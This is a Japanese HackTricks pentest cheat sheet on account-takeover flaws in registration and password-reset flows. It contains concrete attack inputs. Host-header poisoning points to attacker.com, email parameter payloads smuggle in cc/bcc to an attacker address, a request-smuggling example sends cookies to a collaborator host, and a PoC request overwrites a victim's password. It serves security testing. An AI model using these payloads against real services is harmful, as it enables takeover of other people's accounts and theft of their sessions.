登録とアカウント乗っ取りの脆弱性

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

登録乗っ取り

重複登録

  • 既存の username を使って生成してみる
  • email を変えて試す:
  • 大文字化
  • +1@
  • email にドットを追加する
  • email 名に特殊文字を入れる (%00, %09, %20)
  • email の後に空白文字を置く: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

ユーザー名列挙

アプリ内でユーザー名が既に登録されているかどうかを判別できるか確認する。

パスワードポリシー

ユーザー作成時にパスワードポリシーを確認する(弱いパスワードが使えるかをチェック)。
その場合、credentials の bruteforce を試みることができる。

SQL Injection

Check this page で、登録フォームでの SQL Injections を使ったアカウント乗っ取りや情報抽出の方法を学ぶ。

Oauth 乗っ取り

OAuth to Account takeover

SAML の脆弱性

SAML Attacks

メールアドレスの変更

登録後、メールアドレスを変更して、この変更が正しく検証されるか、任意のメールアドレスに変更できるかを確認する。

その他のチェック

  • 使い捨てメール が使えるか確認する
  • 長い パスワード (>200) が DoS を引き起こす
  • アカウント作成のレート制限を確認する
  • username@burp_collab.net を使って callback を解析する

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. パスワードリセットを自分の email アドレスにリクエストする
  2. パスワードリセットリンクをクリックする
  3. パスワードは変更しない
  4. 任意のサードパーティサイト(例: Facebook, twitter)をクリックする
  5. Burp Suite の proxy でリクエストを傍受する
  6. referer header が password reset token を leak しているか確認する。

Password Reset Poisoning

  1. Burp Suite でパスワードリセット要求を傍受する
  2. Burp Suite で以下のヘッダを追加または編集する: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. 修正ヘッダーでリクエストを転送する
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. host header に基づくパスワードリセットURL(例: https://attacker.com/reset-password.php?token=TOKEN)を探す

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

APIパラメータ上の IDOR

  1. 攻撃者は自分のアカウントでログインし、Change password 機能に移動する必要がある。
  2. Burp Suiteを起動してリクエストをInterceptする
  3. Repeaterタブに送ってパラメータを編集する : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

弱い Password Reset Token

password reset token は毎回ランダムに生成され、一意であるべきである。
トークンが期限切れになるか、常に同じかを確認してみる。場合によっては生成アルゴリズムが弱く推測可能なことがある。アルゴリズムで以下の変数が使われている可能性がある。

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

パスワードリセットトークンのleak

  1. API/UIを使って特定のメール(例: test@mail.com)に対してpassword resetリクエストを発行する
  2. サーバーのレスポンスを確認し、resetToken をチェックする
  3. その後、次のようなURLでトークンを使用する: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

ユーザー名衝突によるパスワードリセット

  1. 被害者のユーザー名と同一だが、先頭や末尾に空白を入れたユーザー名でシステムに登録する。例: "admin "
  2. 悪意あるユーザー名でpassword resetを要求する。
  3. 自分のメールに送られてきたトークンを使って被害者のパスワードをリセットする。
  4. 新しいパスワードで被害者アカウントに接続する。

プラットフォーム CTFd はこの攻撃に対して脆弱でした。
See: CVE-2020-7245

Cross Site Scripting によるアカウント乗っ取り

  1. アプリケーション内、またはクッキーが親ドメインにスコープされている場合はサブドメイン内で XSS を見つける : *.domain.com
  2. 現在の sessions cookie をleakする
  3. そのcookieを使ってユーザーとして認証する

HTTP Request Smuggling によるアカウント乗っ取り

  1. smuggler を使って HTTP Request Smuggling のタイプを検出する (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. 次のデータで POST / HTTP/1.1 を上書きするリクエストを作成する:
    GET http://something.burpcollaborator.net HTTP/1.1 X: — 目的は victims を burpcollab に open redirect して cookies を盗むこと
  3. 最終的なリクエストは次のようになる可能性がある:
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone はこのバグが悪用されたと報告しています
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRF によるアカウント乗っ取り

  1. CSRF のペイロードを作成する、例: “HTML form with auto submit for a password change”
  2. ペイロードを送信する

JWT によるアカウント乗っ取り

JSON Web Token はユーザ認証に使われている場合があります。

  • JWT の User ID / Email を別のものに編集する
  • 弱い JWT 署名がないか確認する

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset(既存メールでの Upsert)

一部の signup ハンドラは、提供された email が既に存在する場合に upsert を行います。endpoint が email と password の最小限のボディを受け入れ、所有権検証を強制しない場合、被害者の email を送信すると認証前にそのパスワードが上書きされます。

  • Discovery: bundled JS(またはモバイルアプリのトラフィック)から endpoint 名を収集し、/parents/application/v4/admin/FUZZ のようなベースパスを ffuf/dirsearch で fuzz する。
  • Method hints: GET が "Only POST request is allowed." のようなメッセージを返す場合、正しい verb が示されており、JSON ボディが期待されていることが多い。
  • 実際に観測された最小限のボディ:
json
{"email":"victim@example.com","password":"New@12345"}

PoC の例:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

影響: reset token、OTP、または email verification を必要とせずに、Full Account Takeover (ATO) を完全に達成できる。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする